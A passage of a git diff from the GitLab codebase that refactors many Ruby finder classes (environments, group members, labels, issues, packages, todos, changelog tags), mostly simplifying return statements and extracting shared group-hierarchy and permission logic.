+ @current_user = current_user
+ @params = params
end
- # rubocop: disable CodeReuse/ActiveRecord
def execute
- deployments = project.deployments
- deployments =
- if ref
- deployments_query = params[:with_tags] ? 'ref = :ref OR tag IS TRUE' : 'ref = :ref'
- deployments.where(deployments_query, ref: ref.to_s)
- elsif commit
- deployments.where(sha: commit.sha)
- else
- deployments.none
- end
-
- environment_ids = deployments
- .group(:environment_id)
- .select(:environment_id)
-
- environments = project.environments.available
- .where(id: environment_ids)
-
- if params[:find_latest]
- find_one(environments.order_by_last_deployed_at_desc)
- else
- find_all(environments.order_by_last_deployed_at.to_a)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- # This method will eventually take the place of `#execute` as an
- # efficient way to get relevant environment entries.
- # Currently, `#execute` method has a serious technical debt and
- # we will likely rework on it in the future.
- # See more https://gitlab.com/gitlab-org/gitlab-foss/issues/63381
- def find
environments = project.environments
environments = by_name(environments)
environments = by_search(environments)
# Raises InvalidStatesError if params[:states] contains invalid states.
- environments = by_states(environments)
-
- environments
+ by_states(environments)
end
private
- def find_one(environments)
- [environments.find { |environment| valid_environment?(environment) }].compact
- end
-
- def find_all(environments)
- environments.select { |environment| valid_environment?(environment) }
- end
-
- def valid_environment?(environment)
- # Go in order of cost: SQL calls are cheaper than Gitaly calls
- return false unless Ability.allowed?(current_user, :read_environment, environment)
-
- return false if ref && params[:recently_updated] && !environment.recently_updated_on_branch?(ref)
- return false if ref && commit && !environment.includes_commit?(commit)
-
- true
- end
-
- def ref
- params[:ref].try(:to_s)
- end
-
- def commit
- params[:commit]
- end
-
def by_name(environments)
if params[:name].present?
environments.for_name(params[:name])
diff --git a/app/finders/git_refs_finder.rb b/app/finders/git_refs_finder.rb
index 2289b34e562..11af659d37c 100644
--- a/app/finders/git_refs_finder.rb
+++ b/app/finders/git_refs_finder.rb
@@ -33,15 +33,21 @@ class GitRefsFinder
end
def filter_refs_with_prefix(refs, prefix)
- refs.select { |ref| ref.name.upcase.starts_with?(prefix.upcase) }
+ prefix = prefix.downcase
+
+ refs.select { |ref| ref.name.downcase.starts_with?(prefix) }
end
def filter_refs_with_suffix(refs, suffix)
- refs.select { |ref| ref.name.upcase.ends_with?(suffix.upcase) }
+ suffix = suffix.downcase
+
+ refs.select { |ref| ref.name.downcase.ends_with?(suffix) }
end
def filter_refs_by_name(refs, term)
- refs.select { |ref| ref.name.upcase.include?(term.upcase) }
+ term = term.downcase
+
+ refs.select { |ref| ref.name.downcase.include?(term) }
end
def set_exact_match_as_first_result(matches, term)
diff --git a/app/finders/group_members_finder.rb b/app/finders/group_members_finder.rb
index 2417b1e0771..a6ecd835527 100644
--- a/app/finders/group_members_finder.rb
+++ b/app/finders/group_members_finder.rb
@@ -21,28 +21,13 @@ class GroupMembersFinder < UnionFinder
end
def execute(include_relations: DEFAULT_RELATIONS)
- group_members = group_members_list
- relations = []
+ return filter_members(group_members_list) if include_relations == [:direct]
- return filter_members(group_members) if include_relations == [:direct]
+ groups = groups_by_relations(include_relations)
+ return GroupMember.none unless groups
- relations << group_members if include_relations.include?(:direct)
+ members = all_group_members(groups).distinct_on_user_with_max_access_level
- if include_relations.include?(:inherited) && group.parent
- parents_members = relation_group_members(group.ancestors)
-
- relations << parents_members
- end
-
- if include_relations.include?(:descendants)
- descendant_members = relation_group_members(group.descendants)
-
- relations << descendant_members
- end
-
- return GroupMember.none if relations.empty?
-
- members = find_union(relations, GroupMember)
filter_members(members)
end
@@ -50,6 +35,25 @@ class GroupMembersFinder < UnionFinder
attr_reader :user, :group
+ def groups_by_relations(include_relations)
+ case include_relations.sort
+ when [:inherited]
+ group.ancestors
+ when [:descendants]
+ group.descendants
+ when [:direct, :inherited]
+ group.self_and_ancestors
+ when [:descendants, :direct]
+ group.self_and_descendants
+ when [:descendants, :inherited]
+ find_union([group.ancestors, group.descendants], Group)
+ when [:descendants, :direct, :inherited]
+ group.self_and_hierarchy
+ else
+ nil
+ end
+ end
+
def filter_members(members)
members = members.search(params[:search]) if params[:search].present?
members = members.sort_by_attribute(params[:sort]) if params[:sort].present?
@@ -69,17 +73,13 @@ class GroupMembersFinder < UnionFinder
group.members
end
- def relation_group_members(relation)
- all_group_members(relation).non_minimal_access
+ def all_group_members(groups)
+ members_of_groups(groups).non_minimal_access
end
- # rubocop: disable CodeReuse/ActiveRecord
- def all_group_members(relation)
- GroupMember.non_request
- .where(source_id: relation.select(:id))
- .where.not(user_id: group.users.select(:id))
+ def members_of_groups(groups)
+ GroupMember.non_request.of_groups(groups)
end
- # rubocop: enable CodeReuse/ActiveRecord
end
GroupMembersFinder.prepend_if_ee('EE::GroupMembersFinder')
diff --git a/app/finders/group_projects_finder.rb b/app/finders/group_projects_finder.rb
index 8362e782ad1..dfdf821e3f0 100644
--- a/app/finders/group_projects_finder.rb
+++ b/app/finders/group_projects_finder.rb
@@ -48,8 +48,7 @@ class GroupProjectsFinder < ProjectsFinder
def filter_projects(collection)
projects = super
- projects = by_feature_availability(projects)
- projects
+ by_feature_availability(projects)
end
def limit(collection)
diff --git a/app/finders/issuable_finder.rb b/app/finders/issuable_finder.rb
index 2409dc9d77d..40a4e2b4f26 100644
--- a/app/finders/issuable_finder.rb
+++ b/app/finders/issuable_finder.rb
@@ -119,20 +119,18 @@ class IssuableFinder
# https://www.postgresql.org/docs/current/static/queries-with.html
items = by_search(items)
- items = sort(items)
-
- items
+ sort(items)
end
def filter_items(items)
+ # Selection by group is already covered by `by_project` and `projects` for project-based issuables
+ # Group-based issuables have their own group filter methods
items = by_project(items)
- items = by_group(items)
items = by_scope(items)
items = by_created_at(items)
items = by_updated_at(items)
items = by_closed_at(items)
items = by_state(items)
- items = by_group(items)
items = by_assignee(items)
items = by_author(items)
items = by_non_archived(items)
@@ -244,7 +242,7 @@ class IssuableFinder
# These are "helper" params that modify the results, like :in and :search. They usually come in at the top-level
# params, but if they do come in inside the `:not` params, the inner ones should take precedence.
- not_helpers = params.slice(*NEGATABLE_PARAMS_HELPER_KEYS).merge(params[:not].slice(*NEGATABLE_PARAMS_HELPER_KEYS))
+ not_helpers = params.slice(*NEGATABLE_PARAMS_HELPER_KEYS).merge(params[:not].to_h.slice(*NEGATABLE_PARAMS_HELPER_KEYS))
not_helpers.each do |key, value|
not_params[key] = value unless not_params[key].present?
end
@@ -320,11 +318,6 @@ class IssuableFinder
end
end
- def by_group(items)
- # Selection by group is already covered by `by_project` and `projects`
- items
- end
-
# rubocop: disable CodeReuse/ActiveRecord
def by_project(items)
if params.project?
@@ -400,8 +393,6 @@ class IssuableFinder
# We want CE users to be able to say "Issues not assigned to either PersonA nor PersonB"
if not_params.assignees.present?
items.not_assigned_to(not_params.assignees)
- elsif not_params.assignee_id? || not_params.assignee_username? # assignee not found
- items.none
else
items
end
diff --git a/app/finders/issues_finder.rb b/app/finders/issues_finder.rb
index 5c9010ee3e0..e1a334413f8 100644
--- a/app/finders/issues_finder.rb
+++ b/app/finders/issues_finder.rb
@@ -47,6 +47,13 @@ class IssuesFinder < IssuableFinder
# rubocop: disable CodeReuse/ActiveRecord
def with_confidentiality_access_check
return Issue.all if params.user_can_see_all_confidential_issues?
+
+ # If already filtering by assignee we can skip confidentiality since a user
+ # can always see confidential issues assigned to them. This is just an
+ # optimization since a very common usecase of this Finder is to load the
+ # count of issues assigned to the user for the header bar.
+ return Issue.all if current_user && params.assignees.include?(current_user)
+
return Issue.where('issues.confidential IS NOT TRUE') if params.user_cannot_see_confidential_issues?
Issue.where('
@@ -74,8 +81,7 @@ class IssuesFinder < IssuableFinder
issues = super
issues = by_due_date(issues)
issues = by_confidential(issues)
- issues = by_issue_types(issues)
- issues
+ by_issue_types(issues)
end
def by_confidential(items)
diff --git a/app/finders/labels_finder.rb b/app/finders/labels_finder.rb
index bedd6891d02..ecd6270ed47 100644
--- a/app/finders/labels_finder.rb
+++ b/app/finders/labels_finder.rb
@@ -2,6 +2,7 @@
class LabelsFinder < UnionFinder
prepend FinderWithCrossProjectAccess
+ include FinderWithGroupHierarchy
include FinderMethods
include Gitlab::Utils::StrongMemoize
@@ -14,7 +15,7 @@ class LabelsFinder < UnionFinder
def execute(skip_authorization: false)
@skip_authorization = skip_authorization
- items = find_union(label_ids, Label) || Label.none
+ items = find_union(item_ids, Label) || Label.none
items = with_title(items)
items = by_subscription(items)
items = by_search(items)
@@ -26,8 +27,8 @@ class LabelsFinder < UnionFinder
attr_reader :current_user, :params, :skip_authorization
# rubocop: disable CodeReuse/ActiveRecord
- def label_ids
- label_ids = []
+ def item_ids
+ item_ids = []
if project?
if project
@@ -35,25 +36,25 @@ class LabelsFinder < UnionFinder
labels_table = Label.arel_table
group_ids = group_ids_for(project.group)
- label_ids << Label.where(
+ item_ids << Label.where(
labels_table[:type].eq('GroupLabel').and(labels_table[:group_id].in(group_ids)).or(
labels_table[:type].eq('ProjectLabel').and(labels_table[:project_id].eq(project.id))
)
)
else
- label_ids << project.labels
+ item_ids << project.labels
end
end
else
if group?
- label_ids << Label.where(group_id: group_ids_for(group))
+ item_ids << Label.where(group_id: group_ids_for(group))
end
- label_ids << Label.where(group_id: projects.group_ids)
- label_ids << Label.where(project_id: ids_user_can_read_labels(projects)) unless only_group_labels?
+ item_ids << Label.where(group_id: projects.group_ids)
+ item_ids << Label.where(project_id: ids_user_can_read_labels(projects)) unless only_group_labels?
end
- label_ids
+ item_ids
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -94,49 +95,6 @@ class LabelsFinder < UnionFinder
params[:subscribed] == 'true'
end
- # Gets redacted array of group ids
- # which can include the ancestors and descendants of the requested group.
- def group_ids_for(group)
- strong_memoize(:group_ids) do
- groups = groups_to_include(group)
-
- # Because we are sure that all groups are in the same hierarchy tree
- # we can preset root group for all of them to optimize permission checks
- Group.preset_root_ancestor_for(groups)
-
- groups_user_can_read_labels(groups).map(&:id)
- end
- end
-
- def groups_to_include(group)
- groups = [group]
-
- groups += group.ancestors if include_ancestor_groups?
- groups += group.descendants if include_descendant_groups?
-
- groups
- end
-
- def include_ancestor_groups?
- params[:include_ancestor_groups]
- end
-
- def include_descendant_groups?
- params[:include_descendant_groups]
- end
-
- def group?
- params[:group].present? || params[:group_id].present?
- end
-
- def group
- strong_memoize(:group) { params[:group].presence || Group.find(params[:group_id]) }
- end
-
- def project?
- params[:project].present? || params[:project_id].present?
- end
-
def projects?
params[:project_ids]
end
@@ -153,12 +111,16 @@ class LabelsFinder < UnionFinder
params[:title] || params[:name]
end
+ def project?
+ params[:project].present? || params[:project_id].present?
+ end
+
def project
return @project if defined?(@project)
if project?
@project = params[:project] || Project.find(params[:project_id])
- @project = nil unless authorized_to_read_labels?(@project)
+ @project = nil unless authorized_to_read_item?(@project)
else
@project = nil
end
@@ -191,16 +153,8 @@ class LabelsFinder < UnionFinder
end
# rubocop: enable CodeReuse/ActiveRecord
- def authorized_to_read_labels?(label_parent)
- return true if skip_authorization
-
- Ability.allowed?(current_user, :read_label, label_parent)
- end
-
- def groups_user_can_read_labels(groups)
- DeclarativePolicy.user_scope do
- groups.select { |group| authorized_to_read_labels?(group) }
- end
+ def read_permission
+ :read_label
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/finders/merge_request/metrics_finder.rb b/app/finders/merge_request/metrics_finder.rb
index d93e53d1636..1a3732bbdf9 100644
--- a/app/finders/merge_request/metrics_finder.rb
+++ b/app/finders/merge_request/metrics_finder.rb
@@ -14,9 +14,7 @@ class MergeRequest::MetricsFinder
items = init_collection
items = by_target_project(items)
items = by_merged_after(items)
- items = by_merged_before(items)
-
- items
+ by_merged_before(items)
end
private
diff --git a/app/finders/merge_requests/by_approvals_finder.rb b/app/finders/merge_requests/by_approvals_finder.rb
index e6ab1467f06..94f13468327 100644
--- a/app/finders/merge_requests/by_approvals_finder.rb
+++ b/app/finders/merge_requests/by_approvals_finder.rb
@@ -60,14 +60,14 @@ module MergeRequests
ids.first.to_s.downcase == label || usernames.map(&:downcase).include?(label)
end
- # Merge Requests without any approval
+ # Merge requests without any approval
#
# @param [ActiveRecord::Relation] items
def without_approvals(items)
items.without_approvals
end
- # Merge Requests with any number of approvals
+ # Merge requests with any number of approvals
#
# @param [ActiveRecord::Relation] items the activerecord relation
def with_any_approvals(items)
@@ -76,14 +76,14 @@ module MergeRequests
])
end
- # Merge Requests approved by given usernames
+ # Merge requests approved by given usernames
#
# @param [ActiveRecord::Relation] items the activerecord relation
def find_approved_by_names(items)
items.approved_by_users_with_usernames(*usernames)
end
- # Merge Requests approved by given user IDs
+ # Merge requests approved by given user IDs
#
# @param [ActiveRecord::Relation] items the activerecord relation
def find_approved_by_ids(items)
diff --git a/app/finders/merge_requests/oldest_per_commit_finder.rb b/app/finders/merge_requests/oldest_per_commit_finder.rb
index 5360f301036..5da7a08e36c 100644
--- a/app/finders/merge_requests/oldest_per_commit_finder.rb
+++ b/app/finders/merge_requests/oldest_per_commit_finder.rb
@@ -18,8 +18,8 @@ module MergeRequests
mapping = {}
shas = commits.map(&:id)
- # To include merge requests by the commit SHA, we don't need to go through
- # any diff rows.
+ # To include merge requests by the merge/squash SHA, we don't need to go
+ # through any diff rows.
#
# We can't squeeze all this into a single query, as the diff based data
# relies on a GROUP BY. On the other hand, retrieving MRs by their merge
@@ -27,12 +27,17 @@ module MergeRequests
@project
.merge_requests
.preload_target_project
- .by_merge_commit_sha(shas)
+ .by_merge_or_squash_commit_sha(shas)
.each do |mr|
- # Merge SHAs can't be in the merge request itself. It _is_ possible a
- # newer merge request includes the merge commit, but in that case we
- # still want the oldest merge request.
- mapping[mr.merge_commit_sha] = mr
+ # Merge/squash SHAs can't be in the merge request itself. It _is_
+ # possible a newer merge request includes the commit, but in that case
+ # we still want the oldest merge request.
+ #
+ # It's also possible that a merge request produces both a squashed
+ # commit and a merge commit. In that case we want to store the mapping
+ # for both the SHAs.
+ mapping[mr.squash_commit_sha] = mr if mr.squash_commit_sha
+ mapping[mr.merge_commit_sha] = mr if mr.merge_commit_sha
end
remaining = shas - mapping.keys
diff --git a/app/finders/metrics/dashboards/annotations_finder.rb b/app/finders/metrics/dashboards/annotations_finder.rb
index c42b8bf40e5..e97704738ea 100644
--- a/app/finders/metrics/dashboards/annotations_finder.rb
+++ b/app/finders/metrics/dashboards/annotations_finder.rb
@@ -4,7 +4,8 @@ module Metrics
module Dashboards
class AnnotationsFinder
def initialize(dashboard:, params:)
- @dashboard, @params = dashboard, params
+ @dashboard = dashboard
+ @params = params
end
def execute
diff --git a/app/finders/metrics/users_starred_dashboards_finder.rb b/app/finders/metrics/users_starred_dashboards_finder.rb
index 7244c51f9a7..2ef706c1b11 100644
--- a/app/finders/metrics/users_starred_dashboards_finder.rb
+++ b/app/finders/metrics/users_starred_dashboards_finder.rb
@@ -3,7 +3,9 @@
module Metrics
class UsersStarredDashboardsFinder
def initialize(user:, project:, params: {})
- @user, @project, @params = user, project, params
+ @user = user
+ @project = project
+ @params = params
end
def execute
diff --git a/app/finders/namespaces/projects_finder.rb b/app/finders/namespaces/projects_finder.rb
index a6d98015e9d..bac5328d077 100644
--- a/app/finders/namespaces/projects_finder.rb
+++ b/app/finders/namespaces/projects_finder.rb
@@ -39,8 +39,7 @@ module Namespaces
def filter_projects(collection)
collection = by_ids(collection)
- collection = by_similarity(collection)
- collection
+ by_similarity(collection)
end
def by_ids(items)
diff --git a/app/finders/notes_finder.rb b/app/finders/notes_finder.rb
index 1a3f011d9eb..96966001e85 100644
--- a/app/finders/notes_finder.rb
+++ b/app/finders/notes_finder.rb
@@ -17,6 +17,7 @@ class NotesFinder
# target_id: integer
# last_fetched_at: time
# search: string
+ # sort: string
#
def initialize(current_user, params = {})
@project = params[:project]
@@ -29,8 +30,7 @@ class NotesFinder
notes = init_collection
notes = since_fetch_at(notes)
notes = notes.with_notes_filter(@params[:notes_filter]) if notes_filter?
-
- notes.fresh
+ sort(notes)
end
def target
@@ -173,6 +173,14 @@ class NotesFinder
def notes_filter?
@params[:notes_filter].present?
end
+
+ def sort(notes)
+ sort = @params[:sort].presence
+
+ return notes.fresh unless sort
+
+ notes.order_by(sort)
+ end
end
NotesFinder.prepend_if_ee('EE::NotesFinder')
diff --git a/app/finders/packages/conan/package_file_finder.rb b/app/finders/packages/conan/package_file_finder.rb
index edf35388a36..a1ebf9f40fa 100644
--- a/app/finders/packages/conan/package_file_finder.rb
+++ b/app/finders/packages/conan/package_file_finder.rb
@@ -8,8 +8,7 @@ module Packages
def package_files
files = super
files = by_conan_file_type(files)
- files = by_conan_package_reference(files)
- files
+ by_conan_package_reference(files)
end
def by_conan_file_type(files)
diff --git a/app/finders/packages/debian/distributions_finder.rb b/app/finders/packages/debian/distributions_finder.rb
index e64b6bdfec1..a5ac9f7e2f7 100644
--- a/app/finders/packages/debian/distributions_finder.rb
+++ b/app/finders/packages/debian/distributions_finder.rb
@@ -4,15 +4,15 @@ module Packages
module Debian
class DistributionsFinder
def initialize(container, params = {})
- @container, @params = container, params
+ @container = container
+ @params = params
end
def execute
collection = relation.with_container(container)
collection = by_codename(collection)
collection = by_suite(collection)
- collection = by_codename_or_suite(collection)
- collection
+ by_codename_or_suite(collection)
end
private
diff --git a/app/finders/packages/go/package_finder.rb b/app/finders/packages/go/package_finder.rb
new file mode 100644
index 00000000000..4573417d11f
--- /dev/null
+++ b/app/finders/packages/go/package_finder.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Packages
+ module Go
+ class PackageFinder
+ delegate :exists?, to: :candidates
+
+ def initialize(project, module_name, module_version)
+ @project = project
+ @module_name = module_name
+ @module_version = module_version
+ end
+
+ def execute
+ candidates.first
+ end
+
+ private
+
+ def candidates
+ @project
+ .packages
+ .golang
+ .with_name(@module_name)
+ .with_version(@module_version)
+ end
+ end
+ end
+end
diff --git a/app/finders/packages/go/version_finder.rb b/app/finders/packages/go/version_finder.rb
index 8e2fab8ba35..6ee02b8c6f6 100644
--- a/app/finders/packages/go/version_finder.rb
+++ b/app/finders/packages/go/version_finder.rb
@@ -23,7 +23,8 @@ module Packages
when String
if pseudo_version? target
semver = parse_semver(target)
- commit = pseudo_version_commit(@mod.project, semver)
+ version = parse_pseudo_version(semver)
+ commit = validate_pseudo_version(@mod.project, version)
Packages::Go::ModuleVersion.new(@mod, :pseudo, commit, name: target, semver: semver)
else
@mod.version_by(ref: target)
diff --git a/app/finders/packages/group_packages_finder.rb b/app/finders/packages/group_packages_finder.rb
index db5161d6e16..8771bf90e75 100644
--- a/app/finders/packages/group_packages_finder.rb
+++ b/app/finders/packages/group_packages_finder.rb
@@ -32,8 +32,7 @@ module Packages
packages = filter_with_version(packages)
packages = filter_by_package_type(packages)
packages = filter_by_package_name(packages)
- packages = filter_by_status(packages)
- packages
+ filter_by_status(packages)
end
def group_projects_visible_to_current_user
diff --git a/app/finders/packages/maven/package_finder.rb b/app/finders/packages/maven/package_finder.rb
index ba3d4631f55..eefcdaba3c8 100644
--- a/app/finders/packages/maven/package_finder.rb
+++ b/app/finders/packages/maven/package_finder.rb
@@ -3,13 +3,15 @@
module Packages
module Maven
class PackageFinder
- attr_reader :path, :current_user, :project, :group
+ include ::Packages::FinderHelper
+ include Gitlab::Utils::StrongMemoize
- def initialize(path, current_user, project: nil, group: nil)
+ def initialize(path, current_user, project: nil, group: nil, order_by_package_file: false)
@path = path
@current_user = current_user
@project = project
@group = group
+ @order_by_package_file = order_by_package_file
end
def execute
@@ -23,9 +25,9 @@ module Packages
private
def base
- if project
+ if @project
packages_for_a_single_project
- elsif group
+ elsif @group
packages_for_multiple_projects
else
::Packages::Package.none
@@ -33,8 +35,13 @@ module Packages
end
def packages_with_path
- matching_packages = base.only_maven_packages_with_path(path)
- matching_packages = matching_packages.order_by_package_file if versionless_package?(matching_packages)
+ matching_packages = base.only_maven_packages_with_path(@path, use_cte: @group.present?)
+
+ if group_level_improvements?
+ matching_packages = matching_packages.order_by_package_file if @order_by_package_file
+ else
+ matching_packages = matching_packages.order_by_package_file if versionless_package?(matching_packages)
+ end
matching_packages
end
@@ -48,19 +55,29 @@ module Packages
# Produces a query that retrieves packages from a single project.
def packages_for_a_single_project
- project.packages
+ @project.packages
end
# Produces a query that retrieves packages from multiple projects that
# the current user can view within a group.
def packages_for_multiple_projects
- ::Packages::Package.for_projects(projects_visible_to_current_user)
+ if group_level_improvements?
+ packages_visible_to_user(@current_user, within_group: @group)
+ else
+ ::Packages::Package.for_projects(projects_visible_to_current_user)
+ end
end
# Returns the projects that the current user can view within a group.
def projects_visible_to_current_user
- group.all_projects
- .public_or_visible_to_user(current_user)
+ @group.all_projects
+ .public_or_visible_to_user(@current_user)
+ end
+
+ def group_level_improvements?
+ strong_memoize(:group_level_improvements) do
+ Feature.enabled?(:maven_packages_group_level_improvements, default_enabled: :yaml)
+ end
end
end
end
diff --git a/app/finders/packages/package_file_finder.rb b/app/finders/packages/package_file_finder.rb
index d015f4adfa6..792ffa0591b 100644
--- a/app/finders/packages/package_file_finder.rb
+++ b/app/finders/packages/package_file_finder.rb
@@ -21,9 +21,7 @@ class Packages::PackageFileFinder
def package_files
files = package.package_files
- files = by_file_name(files)
-
- files
+ by_file_name(files)
end
def by_file_name(files)
diff --git a/app/finders/packages/packages_finder.rb b/app/finders/packages/packages_finder.rb
index bd9e62e3f2a..840cbbf7b9d 100644
--- a/app/finders/packages/packages_finder.rb
+++ b/app/finders/packages/packages_finder.rb
@@ -22,8 +22,7 @@ module Packages
packages = filter_by_package_type(packages)
packages = filter_by_package_name(packages)
packages = filter_by_status(packages)
- packages = order_packages(packages)
- packages
+ order_packages(packages)
end
private
diff --git a/app/finders/pending_todos_finder.rb b/app/finders/pending_todos_finder.rb
index c21d90c9182..d79a2340379 100644
--- a/app/finders/pending_todos_finder.rb
+++ b/app/finders/pending_todos_finder.rb
@@ -11,23 +11,22 @@
# change the various `by_*` methods in this finder, without having to touch
# everything that uses it.
class PendingTodosFinder
- attr_reader :current_user, :params
+ attr_reader :users, :params
- # current_user - The user to retrieve the todos for.
+ # users - The list of users to retrieve the todos for.
# params - A Hash containing columns and values to use for filtering todos.
- def initialize(current_user, params = {})
- @current_user = current_user
+ def initialize(users, params = {})
+ @users = users
@params = params
end
def execute
- todos = current_user.todos.pending
+ todos = Todo.for_user(users)
+ todos = todos.pending
todos = by_project(todos)
todos = by_target_id(todos)
todos = by_target_type(todos)
- todos = by_commit_id(todos)
-
- todos
+ by_commit_id(todos)
end
def by_project(todos)
diff --git a/app/finders/projects/export_job_finder.rb b/app/finders/projects/export_job_finder.rb
index c26a7a3f1a6..c270feb23dc 100644
--- a/app/finders/projects/export_job_finder.rb
+++ b/app/finders/projects/export_job_finder.rb
@@ -12,9 +12,7 @@ module Projects
def execute
export_jobs = project.export_jobs
- export_jobs = by_status(export_jobs)
-
- export_jobs
+ by_status(export_jobs)
end
private
diff --git a/app/finders/projects/prometheus/alerts_finder.rb b/app/finders/projects/prometheus/alerts_finder.rb
index 3e3b72647c5..2105516db5f 100644
--- a/app/finders/projects/prometheus/alerts_finder.rb
+++ b/app/finders/projects/prometheus/alerts_finder.rb
@@ -30,9 +30,7 @@ module Projects
relation = by_environment(relation)
relation = by_metric(relation)
relation = by_id(relation)
- relation = ordered(relation)
-
- relation
+ ordered(relation)
end
private
diff --git a/app/finders/projects_finder.rb b/app/finders/projects_finder.rb
index f1df4fbb0d8..893e89daa3c 100644
--- a/app/finders/projects_finder.rb
+++ b/app/finders/projects_finder.rb
@@ -83,8 +83,7 @@ class ProjectsFinder < UnionFinder
collection = by_deleted_status(collection)
collection = by_last_activity_after(collection)
collection = by_last_activity_before(collection)
- collection = by_repository_storage(collection)
- collection
+ by_repository_storage(collection)
end
def collection_with_user
@@ -131,7 +130,7 @@ class ProjectsFinder < UnionFinder
public_visibility_levels = Gitlab::VisibilityLevel.levels_for_user(current_user)
- !public_visibility_levels.include?(params[:visibility_level])
+ !public_visibility_levels.include?(params[:visibility_level].to_i)
end
def owned_projects?
diff --git a/app/finders/prometheus_metrics_finder.rb b/app/finders/prometheus_metrics_finder.rb
index 84a071abbd5..152ee73ef26 100644
--- a/app/finders/prometheus_metrics_finder.rb
+++ b/app/finders/prometheus_metrics_finder.rb
@@ -36,9 +36,7 @@ class PrometheusMetricsFinder
metrics = by_common(metrics)
metrics = by_ordered(metrics)
metrics = by_identifier(metrics)
- metrics = by_id(metrics)
-
- metrics
+ by_id(metrics)
end
private
diff --git a/app/finders/protected_branches_finder.rb b/app/finders/protected_branches_finder.rb
index 68e8d2a9f54..a452a1f993b 100644
--- a/app/finders/protected_branches_finder.rb
+++ b/app/finders/protected_branches_finder.rb
@@ -20,9 +20,7 @@ class ProtectedBranchesFinder
def execute
protected_branches = project.limited_protected_branches(LIMIT)
- protected_branches = by_name(protected_branches)
-
- protected_branches
+ by_name(protected_branches)
end
private
diff --git a/app/finders/releases_finder.rb b/app/finders/releases_finder.rb
index da72178169e..0cfa4310ab7 100644
--- a/app/finders/releases_finder.rb
+++ b/app/finders/releases_finder.rb
@@ -20,8 +20,7 @@ class ReleasesFinder
releases = get_releases
releases = by_tag(releases)
releases = releases.preloaded if preload
- releases = order_releases(releases)
- releases
+ order_releases(releases)
end
private
diff --git a/app/finders/repositories/branch_names_finder.rb b/app/finders/repositories/branch_names_finder.rb
new file mode 100644
index 00000000000..5bb67425aa5
--- /dev/null
+++ b/app/finders/repositories/branch_names_finder.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Repositories
+ class BranchNamesFinder
+ attr_reader :repository, :params
+
+ def initialize(repository, params = {})
+ @repository = repository
+ @params = params
+ end
+
+ def execute
+ return unless search
+
+ repository.search_branch_names(search)
+ end
+
+ private
+
+ def search
+ @params[:search].presence
+ end
+ end
+end
diff --git a/app/finders/repositories/changelog_tag_finder.rb b/app/finders/repositories/changelog_tag_finder.rb
new file mode 100644
index 00000000000..3c110e6c65d
--- /dev/null
+++ b/app/finders/repositories/changelog_tag_finder.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+module Repositories
+ # A finder class for getting the tag of the last release before a given
+ # version, used when generating changelogs.
+ #
+ # Imagine a project with the following tags:
+ #
+ # * v1.0.0
+ # * v1.1.0
+ # * v2.0.0
+ #
+ # If the version supplied is 2.1.0, the tag returned will be v2.0.0. And when
+ # the version is 1.1.1, or 1.2.0, the returned tag will be v1.1.0.
+ #
+ # To obtain the tags, this finder requires a regular expression (using the re2
+ # syntax) to be provided. This regex must produce the following named
+ # captures:
+ #
+ # - major (required)
+ # - minor (required)
+ # - patch (required)
+ # - pre
+ # - meta
+ #
+ # If the `pre` group has a value, the tag is ignored. If any of the required
+ # capture groups don't have a value, the tag is also ignored.
+ class ChangelogTagFinder
+ def initialize(project, regex: Gitlab::Changelog::Config::DEFAULT_TAG_REGEX)
+ @project = project
+ @regex = regex
+ end
+
+ def execute(new_version)
+ tags = {}
+ versions = [new_version]
+
+ begin
+ regex = Gitlab::UntrustedRegexp.new(@regex)
+ rescue RegexpError => ex
+ # The error messages produced by default are not very helpful, so we
+ # raise a better one here. We raise the specific error here so its
+ # message is displayed in the API (where we catch this specific
+ # error).
+ raise(
+ Gitlab::Changelog::Error,
+ "The regular expression to use for finding the previous tag for a version is invalid: #{ex.message}"
+ )
+ end
+
+ @project.repository.tags.each do |tag|
+ matches = regex.match(tag.name)
+
+ next unless matches
+
+ # When using this class for generating changelog data for a range of
+ # commits, we want to compare against the tag of the last _stable_
+ # release; not some random RC that came after that.
+ next if matches[:pre]
+
+ major = matches[:major]
+ minor = matches[:minor]
+ patch = matches[:patch]
+ build = matches[:meta]
+
+ next unless major && minor && patch
+
+ version = "#{major}.#{minor}.#{patch}"
+ version += "+#{build}" if build
+
+ tags[version] = tag
+ versions << version
+ end
+
+ VersionSorter.sort!(versions)
+
+ index = versions.index(new_version)
+
+ tags[versions[index - 1]] if index&.positive?
+ end
+ end
+end
diff --git a/app/finders/repositories/previous_tag_finder.rb b/app/finders/repositories/previous_tag_finder.rb
deleted file mode 100644
index b5e786c30e9..00000000000
--- a/app/finders/repositories/previous_tag_finder.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-module Repositories
- # A finder class for getting the tag of the last release before a given
- # version.
- #
- # Imagine a project with the following tags:
- #
- # * v1.0.0
- # * v1.1.0
- # * v2.0.0
- #
- # If the version supplied is 2.1.0, the tag returned will be v2.0.0. And when
- # the version is 1.1.1, or 1.2.0, the returned tag will be v1.1.0.
- #
- # This finder expects that all tags to consider meet the following
- # requirements:
- #
- # * They start with the letter "v" followed by a version, or immediately start
- # with a version
- # * They use semantic versioning for the version format
- #
- # Tags not meeting these requirements are ignored.
- class PreviousTagFinder
- TAG_REGEX = /\Av?(?<version>#{Gitlab::Regex.unbounded_semver_regex})\z/.freeze
-
- def initialize(project)
- @project = project
- end
-
- def execute(new_version)
- tags = {}
- versions = [new_version]
-
- @project.repository.tags.each do |tag|
- matches = tag.name.match(TAG_REGEX)
-
- next unless matches
-
- # When using this class for generating changelog data for a range of
- # commits, we want to compare against the tag of the last _stable_
- # release; not some random RC that came after that.
- next if matches[:prerelease]
-
- version = matches[:version]
- tags[version] = tag
- versions << version
- end
-
- VersionSorter.sort!(versions)
-
- index = versions.index(new_version)
-
- tags[versions[index - 1]] if index&.positive?
- end
- end
-end
diff --git a/app/finders/tags_finder.rb b/app/finders/tags_finder.rb
index fd58f478b45..d9848d027cf 100644
--- a/app/finders/tags_finder.rb
+++ b/app/finders/tags_finder.rb
@@ -7,7 +7,6 @@ class TagsFinder < GitRefsFinder
def execute
tags = repository.tags_sorted_by(sort)
- tags = by_search(tags)
- tags
+ by_search(tags)
end
end
diff --git a/app/finders/user_group_notification_settings_finder.rb b/app/finders/user_group_notification_settings_finder.rb
